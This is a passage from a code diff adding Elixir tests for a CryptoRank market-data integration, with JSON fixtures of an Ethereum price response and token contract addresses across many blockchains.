"fetch_market_cap_history" do + test "ignored" do + assert CryptoRank.fetch_market_cap_history(0) == :ignore + end + end + + describe "tvl_history_fetching_enabled?" do + test "ignored" do + assert CryptoRank.tvl_history_fetching_enabled?() == :ignore + end + end + + describe "fetch_tvl_history" do + test "ignored" do + assert CryptoRank.fetch_tvl_history(0) == :ignore + end + end + + defp json_coin(coin_id, fiat_value) do + """ + { + "data": { + "id": #{coin_id}, + "rank": 2, + "slug": "ethereum", + "name": "Ethereum", + "symbol": "ETH", + "category": "Chain", + "type": "coin", + "volume24hBase": 2315094.5634, + "circulatingSupply": 120723694, + "totalSupply": 120723694, + "images": { + "16x16": "https://img.cryptorank.io/coins/icon.ethereum1524754015525.png", + "200x200": "https://img.cryptorank.io/coins/ethereum1524754015525.png", + "60x60": "https://img.cryptorank.io/coins/60x60.ethereum1524754015525.png" + }, + "values": { + "USD": { + "price": #{fiat_value}, + "volume24h": 5826359746, + "high24h": 2546.560850604021, + "low24h": 2480.175296733773, + "marketCap": 303823300492.5147, + "percentChange24h": 0.4248, + "percentChange7d": -1.3799, + "percentChange30d": 37.1343, + "percentChange3m": 16.9385, + "percentChange6m": -30.9087 + }, + "BTC": { + "price": 0.0241643324256002, + "volume24h": 55942, + "high24h": 0.0241883039284151, + "low24h": 0.0236807597840912, + "marketCap": 2917207.4734624363, + "percentChange24h": 0.8852, + "percentChange7d": 3.8147, + "percentChange30d": 26.8718, + "percentChange3m": -3.0863, + "percentChange6m": -36.4735 + }, + "ETH": { + "price": 1, + "volume24h": 2315094, + "high24h": 1, + "low24h": 1, + "marketCap": 120723694, + "percentChange24h": 0, + "percentChange7d": 0, + "percentChange30d": 0, + "percentChange3m": 0, + "percentChange6m": 0 + } + }, + "lastUpdated": "2025-06-02T14:22:32.759Z", + "tokens": [] + }, + "status": { + "time": "2025-06-02T14:23:23.902Z", + "success": true, + "code": 200, + "message": "OK", + "responseTime": 1, + "creditsCost": 1 + } + } + """ + end + + # cspell:disable + defp json_tokens do + """ + { "data": [ { "id": 16, "slug": "tether", "symbol": "USDT", "name": "Tether", "priceUSD": "1.000312118824", "volume24hUSD": "34598333608.3056447616193232", "circulatingSupply": "153148231147", "contracts": [ { "address": "0xdac17f958d2ee523a2206206994597c13d831ec7", "chainId": 3 }, { "address": "0x551a5dcac57c66aa010940c2dcff5da9c53aa53b", "chainId": 18 }, { "address": "0x493257fD37EDB34451f62EDf8D2a0C418852bA4C", "chainId": 96 }, { "address": "0x9636d3294e45823ec924c8d89dd1f1dffcf044e6", "chainId": 21 }, { "address": "0xfadbbf8ce7d5b7041be672561bba99f79c532e10", "chainId": 47 }, { "address": "0xe3f5a90f9cb311505cd691a46596599aa1a0ad7d", "chainId": 100 }, { "address": "0x5f0155d08ef4aae2b500aefb64a3419da8bb611a", "chainId": 121 }, { "address": "0x5eDCCFcAC24A89F3b87f2bfAB618a509FA6e3105", "chainId": 122 }, { "address": "0xd378634119d2f7b3cf3d60e0b0f5e048e74ce3cf", "chainId": 124 }, { "address": "0x398dcA951cD4fc18264d995DCD171aa5dEbDa129", "chainId": 134 }, { "address": "0x02f9bebf5e54968d8cc2562356c91ecde135801b", "chainId": 166 }, { "address": "0x900101d06a7426441ae63e9ab3b9b0f63be145f1", "chainId": 197 }, { "address": "0x3a337a6ada9d885b6ad95ec48f9b75f197b5ae35", "chainId": 487 }, { "address": "0x0709F39376dEEe2A2dfC94A58EdEb2Eb9DF012bD", "chainId": 489 }, { "address": "KT1XnTn74bUtxHfDtBmm2bGZAQfhPbvKWR8o", "chainId": 41 }, { "address": "EQCxE6mUtQJKFnGfaROTKOt1lZbDiiX1kCixRv7Nw2Id_sDs", "chainId": 95 }, { "address": "0xf0F161fDA2712DB8b566946122a5af183995e2eD", "chainId": 150 }, { "address": "0x28c9c7Fb3fE3104d2116Af26cC8eF7905547349c", "chainId": 210 }, { "address": "0x6fbcdc1169b5130c59e72e51ed68a84841c98cd1", "chainId": 43 }, { "address": "0x3795c36e7d12a8c252a20c5a7b455f7c57b60283", "chainId": 83 }, { "address": "0x919c1c267bc06a7039e03fcc2ef738525769109c", "chainId": 81 }, { "address": "0x201eba5cc46d216ce6dc03f6a759e8e766e956ae", "chainId": 103 }, { "address": "terra1ce06wkrdm4vl6t0hvc0g86rsy27pu8yadg3dva", "chainId": 2 }, { "address": "0x1e4a5963abfd975d8c9021ce480b42188849d41d", "chainId": 102 }, { "address": "0x6047828dc181963ba44974801FF68e538dA5eaF9", "chainId": 465 }, { "address": "0x357b0b74bc833e95a115ad22604854d6b0fca151cecd94111770e5d6ffc9dc2b", "chainId": 91 }, { "address": "0x0039f574ee5cc39bdd162e9a88e3eb1f111baf48", "chainId": 71 }, { "address": "0xa71edc38d189767582c38a3145b5873052c3e47a", "chainId": 14 }, { "address": "0x3c2b8be99c50593081eaa2a724f0b8285f5aba8f", "chainId": 12 }, { "address": "0xc2132d05d31c914a87c6611c10748aeb04b58e8f", "chainId": 5 }, { "address": "0:a519f99bb5d6d51ef958ed24d337ad75a1c770885dcd42d51d6663f9fcdacfb2", "chainId": 93 }, { "address": "312769", "chainId": 57 }, { "address": null, "chainId": 90 }, { "address": "0x46dDa6a5a559d861c06EC9a95Fb395f5C3Db0742", "chainId": 450 }, { "address": "0x375f70cf2ae4c00bf37117d0c85a2c71545e6ee05c4a5c7d282cd66a4504b068::usdt::USDT", "chainId": 99 }, { "address": "0x01445c31581c354b7338ac35693ab2001b50b9ae", "chainId": 33 }, { "address": "0x48065fbBE25f71C9282ddf5e1cD6D6A887483D5e", "chainId": 13 }, { "address": "0xe936caa7f6d9f5c9e907111fcaf7c351c184cda7", "chainId": 11 }, { "address": "0xfe9f969faf8ad72a83b761138bf25de87eff9dd2", "chainId": 426 }, { "address": "0xfd086bc7cd5c481dcc9c85ebe478a1c0b69fcbb9", "chainId": 61 }, { "address": "0x66e428c3f67a68878562e79a0234c1f83c208770", "chainId": 75 }, { "address": "0xEf213441a85DF4d7acBdAe0Cf78004E1e486BB96", "chainId": 82 }, { "address": "0x382bb369d343125bfb2117af9c149795c6c65c50", "chainId": 45 }, { "address": "0xbb06dca3ae6887fabf931640f67cab3e3a16f4dc", "chainId": 17 }, { "address": "0x4988a896b1227218e4a686fde5eabdcabd91571f", "chainId": 31 }, { "address": "0xdc19a122e268128b5ee20366299fc7b5b199c8e3", "chainId": 85 }, { "address": "secret18wpjn83dayu4meu6wnn29khfkwdxs7kyrz9c8f", "chainId": 63 }, { "address": "zil1sxx29cshups269ahh5qjffyr58mxjv9ft78jqy", "chainId": 76 }, { "address": "Es9vMFrzaCERmJfrF4H2FYD4KCoNkY11McCe8BenwNYB", "chainId": 1 }, { "address": "0xB75D0B03c06A926e488e2659DF1A861F860bD3d1", "chainId": 157 }, { "address": "0x9702230A8Ea53601f5cD2dc00fDBc13d4dF4A8c7", "chainId": 7 }, { "address": "0xC0F4b3a52B0532Bf48784d2202C812B1841d8812", "chainId": 411 }, { "address": "0x17270E5364f226Cd5D77a16957c1b2663dC9699B", "chainId": 382 }, { "address": "0xf417F5A458eC102B90352F697D6e2Ac3A3d2851f", "chainId": 143 }, { "address": "0x94b008aa00579c1307b0ef2c499ad98a8ce58e58", "chainId": 84 }, { "address": "0xefaeee334f0fd1712f9a8cc375f427d9cdd40d73", "chainId": 52 }, { "address": "0x55d398326f99059ff775485246999027b3197955", "chainId": 4 }, { "address": "0xfd36c336eb67a092dc80a063ff0644e13142d454", "chainId": 152 }, { "address": "e1d869a83212628ec82a4e039a95371a9ae4598c8459193ccfd0f2f2c689831f", "chainId": 138 }, { "address": "4Q89182juiadeFgGw3fupnrwnnDmBhf7e7fHWxnUP3S3", "chainId": 137 }, { "address": "0xfa9343c3897324496a05fc75abed6bac29f8a40f", "chainId": 125 }, { "address": "0x0cb6f5a34ad42ec934882a05265a7d5f59b51a2f", "chainId": 97 }, { "address": "usdt.tether-token.near", "chainId": 29 }, { "address": "32TLn1WLcu8LtfvweLzYUYU6ubc2YV9eZs", "chainId": 38 }, { "address": "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t", "chainId": 6 }, { "address": "0xA510432E4aa60B4acd476fb850EC84B7EE226b2d", "chainId": 469 }, { "address": "0xc2c527c0cacf457746bd31b2a698fe89de2b6d49", "chainId": 232 }, { "address": "0x6a2d262D56735DbA19Dd70682B39F6bE9a931D98", "chainId": 218 }, { "address": "0xfA9343C3897324496A05fC75abeD6bAC29f8A40f", "chainId": 217 }, { "address": "0x9350502a3af6c617e9a42fa9e306a385::BX_USDT::BX_USDT", "chainId": 215 }, { "address": "ibc/4ABBEF4C8926DDDB320AE5188CFD63267ABBCEFC0583E4AE05D6E5AA2401DDAB", "chainId": 141 }, { "address": "0x381B31409e4D220919B2cFF012ED94d70135A59e", "chainId": 48 }, { "address": "0x4ECaBa5870353805a9F068101A40E0f32ed605C6", "chainId": 78 }, { "address": "0x0Cf7c2A584988871b654Bd79f96899e4cd6C41C0", "chainId": 117 }, { "address": "0x68f5c6a61780768455de69077e07e89787839bf8166decfbf92b645209c0fb8", "chainId": 106 }, { "address": "0x80a16016cc4a2e6a2caca8a4a498b1699ff0f844", "chainId": 127 }, { "address": "0xfe97E85d13ABD9c1c33384E796F10B73905637cE", "chainId": 39 }, { "address": "0xA219439258ca9da29E9Cc4cE5596924745e12B93", "chainId": 101 }, { "address": "0xf55BEC9cafDbE8730f096Aa55dad6D22d44099Df", "chainId": 108 }, { "address": "0x9e5aac1ba1a2e6aed6b32689dfcf62a509ca96f3", "chainId": 110 }, { "address": "0x988a631caf24e14bb77ee0f5ca881e8b5dcfcec7", "chainId": 151 }, { "address": "0xa3200696761a0cf122de2a679f745b3f8cfa2623", "chainId": 155 }, { "address": "peggy0xdAC17F958D2ee523a2206206994597C13D831ec7", "chainId": 147 }, { "address": "A95EBDF88AC1E3FDECAA1D6E250B07C0C86475A3E2BFA2E7DC94A6CDE23DF6D6", "chainId": 255 }, { "address": "0x008D7923Fe2941Ceb549bf5646B1ddb1aC93C8a6", "chainId": 408 }, { "address": "0xefcAA73145B5e29eEfc47bcbaeFF9e870Fa6a610", "chainId": 130 }, { "address": "0x91Aa258324072dFf6F82408c2beB2F82D353b300", "chainId": 131 }, { "address": "0x3eee5d2ed0205f93969a59f7c8597fb614264436", "chainId": 114 } ] }, { "id": 72, "slug": "kyber-network", "symbol": "KNC", "name": "Kyber Network Crystal ", "priceUSD": "0.325609862550", "volume24hUSD": "10125280.0251828828477000", "circulatingSupply": "170152851", "contracts": [ { "address": "0x6ee46Cb7cD2f15Ee1ec9534cf29a5b51C83283e6", "chainId": 96 }, { "address": "0x6A80A465409ce8D36C513129C0FEEa61BEd579ba", "chainId": 102 }, { "address": "0x3b2F62d42DB19B30588648bf1c184865D4C3B1D6", "chainId": 101 }, { "address": "0x1e1085eFaA63EDFE74aaD7C05a28EAE4ef917C3F", "chainId": 10 }, { "address": "0x39fC9e94Caeacb435842FADeDeCB783589F50f5f", "chainId": 7 }, { "address": "0x316772cFEc9A3E976FDE42C3Ba21F5A13aAaFf12", "chainId": 61 }, { "address": "0xdeFA4e8a7bcBA345F687a2f1456F5Edd9CE97202", "chainId": 3 }, { "address": "0xfe56d5892bdffc7bf58f2e84be1b2c32d21c308b", "chainId": 4 }, { "address": "0x1c954e8fe737f99f68fa1ccda3e51ebdb291948c", "chainId": 5 } ] }, { "id": 1254, "slug": "weth", "symbol": "WETH", "name": "WETH", "priceUSD": "2523.982311036187", "volume24hUSD": "1061921578.9958917235204746", "circulatingSupply": "2652758", "contracts": [ { "address": "0:59b6b64ac6798aacf385ae9910008a525a84fc6dcf9f942ae81f8e8485fe160d", "chainId": 93 }, { "address": "0x2EAA73Bd0db20c64f53fEbeA7b5F5E5Bccc7fb8b", "chainId": 48 }, { "address": "0xf22bede237a07e121b56d91a491eb7bcdfd1f5907926a9e58338f964a01b17fa::asset::WETH", "chainId": 91 }, { "address": "0x722e8bdd2ce80a4422e880164f2079488e115365", "chainId": 89 }, { "address": "7vfCXTUXx5WJV5JADk17DUJ4ksgau7utNKj4b963voxs", "chainId": 1 }, { "address": "0x2170Ed0880ac9A755fd29B2688956BD959F933F8", "chainId": 4 }, { "address": "0xE7798f023fC62146e8Aa1b36Da45fb70855a77Ea", "chainId": 247 }, { "address": "0xe44Fd7fCb2b1581822D0c862B68222998a0c299a", "chainId": 75 }, { "address": "0xab3f0245B83feB11d15AAffeFD7AD465a59817eD", "chainId": 52 }, { "address": "0xdEAddEaDdeadDEadDEADDEAddEADDEAddead1111", "chainId": 103 }, { "address": "zil19j33tapjje2xzng7svslnsjjjgge930jx0w09v", "chainId": 76 }, { "address": "terra14tl83xcwqjy0ken9peu4pjjuu755lrry2uy25r", "chainId": 2 }, { "address": "0xc99a6a985ed2cac1ef41640596c5a5f9f4e19ef5", "chainId": 34 }, { "address": "0x02DcdD04e3F455D838cd1249292C58f3B79e3C3C", "chainId": 97 }, { "address": "0xC9BdeEd33CD01541e1eeD10f90519d2C06Fe3feB", "chainId": 31 }, { "address": "0x420000000000000000000000000000000000000A", "chainId": 17 }, { "address": "0x0258866edaf84d6081df17660357ab20a07d0c80", "chainId": 43 }, { "address": "0x135cb19acde9ffb4654cace4189a0e0fb4b6954e", "chainId": 181 }, { "address": "0x1540020a94aA8bc189aA97639Da213a4ca49d9a7", "chainId": 18 }, { "address": "0x4300000000000000000000000000000000000004", "chainId": 221 }, { "address": "0x7339e5586280dfa2b1f315827392ce414a44b1c0", "chainId": 174 }, { "address": "0x4200000000000000000000000000000000000006", "chainId": 150 }, { "address": "0x4200000000000000000000000000000000000006", "chainId": 98 }, { "address": "0xCD3f9D5Cbf51016e0d2340FE909E99C006422A48", "chainId": 159 }, { "address": "0xe5d7c2a44ffddf6b295a15c148167daaaf5cf34f", "chainId": 101 }, { "address": "0xe7798f023fc62146e8aa1b36da45fb70855a77ea", "chainId": 110 }, { "address": "0x0Dc808adcE2099A9F62AA87D9670745AbA741746", "chainId": 143 }, { "address": "0x5300000000000000000000000000000000000004", "chainId": 108 }, { "address": "0x7ceb23fd6bc0add59e62ac25578270cff1b9f619", "chainId": 5 }, { "address": "0x8ed7d143Ef452316Ab1123d28Ab302dC3b80d3ce", "chainId": 105 }, { "address": "0x0ce35b0d42608ca54eb7bcc8044f7087c18e7717", "chainId": 202 }, { "address": "0x4200000000000000000000000000000000000006", "chainId": 487 }, { "address": "0x50c42dEAcD8Fc9773493ED674b675bE577f2634b", "chainId": 465 }, { "address": "0x3439153EB7AF838Ad19d56E1571FBD09333C2809", "chainId": 489 }, { "address": "0x2F6F07CDcf3588944Bf4C42aC74ff24bF56e7590", "chainId": 491 }, { "address": "0xa722c13135930332Eb3d749B2F0906559D2C5b99", "chainId": 47 }, { "address": "0xf55af137a98607f7ed2efefa4cd2dfe70e4253b1", "chainId": 71 }, { "address": "0x5aea5775959fbc2557cc8789bc1bf90a239d9a91", "chainId": 96 }, { "address": "0xa47f43DE2f9623aCb395CA4905746496D2014d57", "chainId": 39 }, { "address": "0x49d36570d4e46f48e99674bd3fcc84644ddd6b96f7c741b1562b82f9e004dc7", "chainId": 106 }, { "address": "0x7EbeF2A4b1B09381Ec5B9dF8C5c6f2dBECA59c73", "chainId": 128 }, { "address": "85219708c49aa701871ad330a94ea0f41dff24ca", "chainId": 33 }, { "address": "0xe3f5a90f9cb311505cd691a46596599aa1a0ad7d", "chainId": 127 }, { "address": "0x57eea49ec1087695274a9c4f341e414eb64328c2", "chainId": 119 }, { "address": "ibc/EA1D43981D5C9A1C4AAEA9C23BB1D4FA126BA9BC7020A25E0AE4AA841EA25DC5", "chainId": null }, { "address": "0x695921034f0387eAc4e11620EE91b1b15A6A09fE", "chainId": 10 }, { "address": "0x82aF49447D8a07e3bd95BD0d56f35241523fBab1", "chainId": 61 }, { "address": "THb4CqiFdwNHsWsQCs4JhzwjMWys4aqCbF", "chainId": 6 }, { "address": "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2", "chainId": 3 }, { "address": "0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2", "chainId": 3 }, { "address": "0x122013fd7dF1C6F636a5bb8f03108E876548b455", "chainId": 13 }, { "address": "0x160345fC359604fC6e70E3c5fAcbdE5F7A9342d8", "chainId": 157 }, { "address": "0xfa9343c3897324496a05fc75abed6bac29f8a40f", "chainId": 55 }, { "address": "0x3223f17957Ba502cbe71401D55A0DB26E5F7c68F", "chainId": 85 }, { "address": "0x81ECac0D6Be0550A00FF064a4f9dd2400585FE9c", "chainId": 83 }, { "address": "0x6983d1e6def3690c4d616b13597a09e6193ea013", "chainId": 12 }, { "address": "0x6a023ccd1ff6f2045c3309768ead9e68f978f6e1", "chainId": 78 }, { "address": "0x49D5c2BdFfac6CE2BFdB6640F4F80f226bc10bAB", "chainId": 7 }, { "address": "0x4200000000000000000000000000000000000006", "chainId": 84 } ] }, { "id": 1883, "slug": "wrapped-bitcoin", "symbol": "WBTC", "name": "Wrapped Bitcoin", "priceUSD": "104247.030463929140", "volume24hUSD": "282269194.4261377519110420", "circulatingSupply": "128815", "contracts": [ { "address": "EQDcBkGHmC4pTf34x3Gm05XvepO5w60DNxZ-XT4I6-UGG5L5", "chainId": 95 }, { "address": "0x0555E30da8f98308EdB960aa94C0Db47230d2B9c", "chainId": 157 }, { "address": "0x19df5689Cfce64bC2A55F7220B0Cd522659955EF", "chainId": 450 }, { "address": "0x3095c7557bcb296ccc6e363de01b760ba031f2d9", "chainId": 12 }, { "address": "0x8e5bbbb09ed1ebde8674cda39a0c169401db4252", "chainId": 78 }, { "address": "0:2ba32b75870d572e255809b7b423f30f36dd5dea075bd5f026863fceb81f2bcf", "chainId": 93 }, { "address": "0x68f180fcCe6836688e9084f035309E29Bf0A2095", "chainId": 84 }, { "address": "3NZ9JMVBmGAqocybic2c7LQCJScmgsAZ6vQqTDzcqmJh", "chainId": 1 }, { "address": "io1c7unwg8h8vph89xwqru4f7zfa4yy5002wxvlrm", "chainId": 43 }, { "address": "0xF4eB217Ba2454613b15dBdea6e5f22276410e89e", "chainId": 31 }, { "address": "0xa5B55ab1dAF0F8e1EFc0eB1931a957fd89B918f4", "chainId": 17 }, { "address": "0x408d4cd0adb7cebd1f1a1c33a0ba2098e1295bab", "chainId": 7 }, { "address": "0x062E66477Faf219F25D27dCED647BF57C3107d52", "chainId": 75 }, { "address": "0x2260fac5e5542a773aa44fbcfedf7c193bc2c599", "chainId": 3 }, { "address": "0x2f2a2543b76a4166549f7aab2e75bef0aefc5b0f", "chainId": 61 }, { "address": "0x1bfd67037b42cf73acf2047067bd4f2c47d9bfd6", "chainId": 5 }, { "address": "0x313dbD8e65C6499dE939e5317cA97Ccc6eD4c621", "chainId": 33 }, { "address": "0xE57eBd2d67B462E9926e04a8e33f01cD0D64346D", "chainId": 52 }, { "address": "0xfa93c12cd345c658bc4644d1d4e1b9615952258c", "chainId": 71 }, { "address": "2260fac5e5542a773aa44fbcfedf7c193bc2c599.factory.bridge.near", "chainId": 29 }, { "address": "0x1f545487c62e5acfea45dcadd9c627361d1616d8", "chainId": 39 }, { "address": "8LQW8f7P5d5PZM7GtZEBgaqRPGSzS3DfPuiXrURJ4AJS", "chainId": 69 }, { "address": "0x927B51f251480a681271180DA4de28D44EC4AfB8", "chainId": 492 }, { "address": "0xcabae6f6ea1ecab08ad02fe02ce9a44f09aebfa2", "chainId": 103 }, { "address": "0xb17d901469b9208b17d916112988a3fed19b5ca1", "chainId": 97 }, { "address": "0xEA034fb02eB1808C2cc3adbC15f447B93CbE08e1", "chainId": 102 }, { "address": "zil1wha8mzaxhm22dpm5cav2tepuldnr8kwkvmqtjq", "chainId": 76 }, { "address": "0x3C1BCa5a656e69edCD0D4E36BEbb3FcDAcA60Cf1", "chainId": 108 }, { "address": "0x3fe2b97c1fd336e750087d68b9b867997fd64a2661ff3ca5a7c771641e8e7ac", "chainId": 106 }, { "address": "0xF6D226f9Dc15d9bB51182815b320D3fBE324e1bA", "chainId": 220 }, { "address": "0xbbeb516fb02a01611cbbe0453fe3c580d7281011", "chainId": 96 }, { "address": "0x027792d9fed7f9844eb4839566001bb6f6cb4804f66aa2da6fe1ee242d896881::coin::COIN", "chainId": 99 }, { "address": "0xcDd475325D6F564d27247D1DddBb0DAc6fA0a5CF", "chainId": 150 }, { "address": "0x3aAB2285ddcDdaD8edf438C1bAB47e1a9D05a9b4", "chainId": 101 }, { "address": "0x503b2ddc059b81788fd1239561596614b27faade", "chainId": 48 }, { "address": "0x0555E30da8f98308EdB960aa94C0Db47230d2B9c", "chainId": 491 }, { "address": "0xcb011e86df014a46f4e3ac3f3cbb114a4eb80870", "chainId": 233 }, { "address": "0xf390830df829cf22c53c8840554b98eafc5dcbc2", "chainId": 55 }, { "address": "0x78F811A431D248c1EDcF6d95ec8551879B2897C3", "chainId": 11 } ] }, { "id": 2854, "slug": "venus", "symbol": "XVS", "name": "Venus", "priceUSD": "5.882048680590", "volume24hUSD": "2054331.9320935988631060", "circulatingSupply": "16655176", "contracts": [ { "address": "0xd3CC9d8f3689B83c91b7B59cAB4946B063EB894A", "chainId": 3 }, { "address": "0xc1Eb7689147C81aC840d4FF0D298489fc7986d52", "chainId": 61 }, { "address": "0xcf6bb5389c92bdda8a3747ddb454cb7a64626c63", "chainId": 4 }, { "address": "0x3E2e61F1c075881F3fB8dd568043d8c221fd5c61", "chainId": 110 }, { "address": "0xD78ABD81a3D57712a3af080dc4185b698Fe9ac5A", "chainId": 96 } ] }, { "id": 5487, "slug": "usdcoin", "symbol": "USDC", "name": "USDC", "priceUSD": "0.999819756251", "volume24hUSD": "5357299343.0449997080455914", "circulatingSupply": "62369678914", "contracts": [ { "address": "0x81ECac0D6Be0550A00FF064a4f9dd2400585FE9c", "chainId": 85 }, { "address": "0x818ec0a7fe18ff94269904fced6ae3dae6d6dc0b", "chainId": 52 }, { "address": "0xe2c120f188ebd5389f71cf4d9c16d05b62a58993", "chainId": 33 }, { "address": "0x3c499c542cef5e3811e1192ce70d8cc03d5c3359", "chainId": 5 }, { "address": "0x28a92dde19D9989F39A49905d7C9C2FAc7799bDf", "chainId": 10 }, { "address": "0xaf88d065e77c8cc2239327c5edb3a432268e5831", "chainId": 61 }, { "address": "0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48", "chainId": 3 }, { "address": "0xdba34672e30cb065b1f93e3ab55318768fd6fef66c15942c9f7cb846e2f900e7::usdc::USDC", "chainId": 99 }, { "address": "0xc21223249ca28397b4b6541dffaecc539bff0c59", "chainId": 75 }, { "address": "0xceba9300f2b948710d2653dd7b07f33a8b32118c", "chainId": 13 }, { "address": "io18v4l9dfr74xyu320pz4zsmgrz9d07vnvy20yrh", "chainId": 43 }, { "address": "EPjFWdd5AufqSSqeM2qN1xzybapC8G4wEGGkZwyTDt1v", "chainId": 1 }, { "address": "secret1h6z05y90gwm4sqxzhz4pkyp36cna9xtp7q0urv", "chainId": 63 }, { "address": "0x8ac76a51cc950d9822d68b83fe1ad97b32cd580d", "chainId": 4 }, { "address": "0xbae207659db88bea0cbead6da0ed00aac12edcdda169e591cd41c94180b46f3b", "chainId": 91 }, { "address": "0x980a5afef3d17ad98635f6c5aebcbaeded3c3430", "chainId": 71 }, { "address": "0x985458e523db3d53125813ed68c274899e9dfab4", "chainId": 12 }, { "address": "0x0b7007c13325c48911f73a2dad5fa5dcbf808adc", "chainId": 34 }, { "address": "0xB97EF9Ef8734C71904D8002F8b6Bc66Dd9c48a6E", "chainId": 7 }, { "address": "0x52a9cea01c4cbdd669883e41758b8eb8e8e2b34b", "chainId": 44 }, { "address": "0xc946daf81b08146b1c7a8da2a851ddf2b3eaaf85", "chainId": 45 }, { "address": "0x620fd5fa44be6af63715ef4e65ddfa0387ad13f5", "chainId": 47 }, { "address": "0xea32a96608495e54156ae48931a7c20f0dcc1a21", "chainId": 17 }, { "address": "31566704", "chainId": 57 }, { "address": "0x6d1e7cde53ba9467b783cb7c530ce054", "chainId": 303 }, { "address": "0x6a2d262d56735dba19dd70682b39f6be9a931d98", "chainId": 90 }, { "address": "0xB12BFcA5A55806AaF64E99521918A4bf0fC40802", "chainId": 31 }, { "address": "0xDDAfbb505ad214D7b80b1f830fcCc89B60fb7A83", "chainId": 78 }, { "address": "0xcca4e6302510d555b654b3eab9c0fcb223bcfdf0", "chainId": 48 }, { "address": "TEkxiTehnzSmSe2XqrBj4w32RUN966rdz8", "chainId": 6 }, { "address": "0x078D782b760474a361dDA0AF3839290b0EF57AD6", "chainId": 492 }, { "address": "USDC-c76f1f", "chainId": 16 }, { "address": "0x0b2c639c533813f4aa9d7837caf62653d097ff85", "chainId": 84 }, { "address": "0x275e916Ab1E93A6862a7b380751DdD87D6F66267", "chainId": 371 }, { "address": "0xd988097fb8612cc24eeC14542bC03424c656005f", "chainId": 150 }, { "address": "ibc/4A1C18CA7F50544760CF306189B810CE4C1CB156C7FC870143D401FE7280E591", "chainId": 223 }, { "address": "0xe3f5a90f9cb311505cd691a46596599aa1a0ad7d", "chainId": 168 }, { "address": "0x80b5a32e4f032b2a058b4f29ec95eefeeb87adcd", "chainId": 148 }, { "address": "0xb73603C5d87fA094B7314C74ACE2e64D165016fb", "chainId": 143 }, { "address": "0x06eFdBFf2a14a7c8E15944D1F4A48F9F95F663A4", "chainId": 108 }, { "address": "ibc/D189335C6E4A68B513C10AB227BF1C1D38C746766278BA3EEB4FB14124F1D858", "chainId": null }, { "address": "0x818ec0a7fe18ff94269904fced6ae3dae6d6dc0b", "chainId": 55 }, { "address": "0x00f0d8595797943c12605cd59bc0d9f63d750ccf", "chainId": 119 }, { "address": "0x540d90635a0C10CdD4D27fc8edCbf88c18DfB1eD", "chainId": 116 }, { "address": "0xE1aB220E37AC55A4E2dD5Ba148298A9c09fBD716", "chainId": 183 }, { "address": "0x640952e7984f2ecedead8fd97aa618ab1210a21c", "chainId": 171 }, { "address": "ibc/8E27BA2D5493AF5636760E354E46004562C46AB7EC0CC4C1CA14E9E20E2545B5", "chainId": 250 }, { "address": "17208628f84f5d6ad33f0da3bbbeb27ffcb398eac501a31bd6ad2011e36133a1", "chainId": 29 }, { "address": "ibc/498A0751C798A0D9A389AA3691123DADA57DAA4FE165D5C75894505B876BA6E4", "chainId": 141 }, { "address": "A.b19436aae4d94622.FiatToken", "chainId": 68 }, { "address": "0xfa9343c3897324496a05fc75abed6bac29f8a40f", "chainId": 230 }, { "address": "0xFFD7510ca0a3279c7a5F50018A26c21d5bc1DBcF", "chainId": 107 }, { "address": "0.0.456858", "chainId": 94 }, { "address": "0x09bc4e0d864854c6afb6eb9a9cdf58ac190d0df9", "chainId": 103 }, { "address": "0x833589fcd6edb6e08f4c7c32d4f71b54bda02913", "chainId": 98 }, { "address": "0x53c91253bc9682c04929ca02ed00b3e423f6710d2ee7e0d5ebb06f3ecf368a8", "chainId": 106 }, { "address": "1337", "chainId": 54 }, { "address": "USDC-GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPP5RE34K4KZVN", "chainId": 66 }, { "address": "e4b8164dccf3489f66124cace1570dc35b58fc90", "chainId": 209 }, { "address": "0xe2aa35C2039Bd0Ff196A6Ef99523CC0D3972ae3e", "chainId": 198 }, { "address": "0x3355df6d4c9c3035724fd0e3914de96a5a83aaf4", "chainId": 96 }, { "address": "0x6963EfED0aB40F6C3d7BdA44A05dcf1437C44372", "chainId": 39 } ] }, { "id": 7511, "slug": "binance-usd", "symbol": "BUSD", "name": "BUSD", "priceUSD": "0.999635670343", "volume24hUSD": "2398317.6519931188988041", "circulatingSupply": "57792684", "contracts": [ { "address": "0x4Fabb145d64652a948d72533023f6E7A623C7C53", "chainId": 3 }, { "address": "0x6ab6d61428fde76768d7b45d8bfeec19c6ef91a8", "chainId": 75 }, { "address": "0xe9e7cea3dedca5984780bafc599bd69add087d56", "chainId": 4 }, { "address": "0x19860ccb0a68fd4213ab9d8266f7bbf05a8dde98", "chainId": 7 }, { "address": "0x9c9e5fd8bbc25984b178fdce6117defa39d2db39", "chainId": 84 }, { "address": "0xa649325aa7c5093d12d6f98eb4378deae68ce23f", "chainId": 52 }, { "address": "0xc111c29a988ae0c0087d97b33c6e6766808a3bd3", "chainId": 33 }, { "address": "0x2039bb4116B4EFc145Ec4f0e2eA75012D6C0f181", "chainId": 96 }, { "address": "0x7d43AABC515C356145049227CeE54B608342c0ad", "chainId": 101 }, { "address": "0x5d9ab5522c64e1f6ef5e3627eccc093f56167818", "chainId": 11 }, { "address": "0x4bf769b05e832fcdc9053fffbc78ca889acb5e1e", "chainId": 90 }, { "address": "0xe176ebe47d621b984a73036b9da5d834411ef734", "chainId": 12 }, { "address": "0x332730a4f6e03d9c55829435f10360e13cfa41ff", "chainId": 45 }, { "address": "0x3444273afdf9e00fd0491c8a97738aca3ebb2a93", "chainId": 18 }, { "address": "0x4bf769b05e832fcdc9053fffbc78ca889acb5e1e", "chainId": 83 }, { "address": "0x9C9e5fD8bbc25984B178FdCE6117Defa39d2db39", "chainId": 5 }, { "address": "5RpUwQ8wtdPCZHhu6MERp2RGrpobsbZ6MH5dDHkUjs2", "chainId": 1 }, { "address": "0x84abcb2832be606341a50128aeb1db43aa017449", "chainId": 43 }, { "address": "0x7b37d0787a3424a0810e02b24743a45ebd5530b2", "chainId": 74 } ] }, { "id": 19793, "slug": "multicollateraldai", "symbol": "DAI", "name": "Dai", "priceUSD": "0.999911538842", "volume24hUSD": "43665636.5443962007704738", "circulatingSupply": "4015833934", "contracts": [ { "address": "0xef977d2f931c1978db5f6747666fa1eacb0d0339", "chainId": 12 }, { "address": "0x80a16016cc4a2e6a2caca8a4a498b1699ff0f844", "chainId": 11 }, { "address": "0x44fA8E6f47987339850636F88629646662444217", "chainId": 78 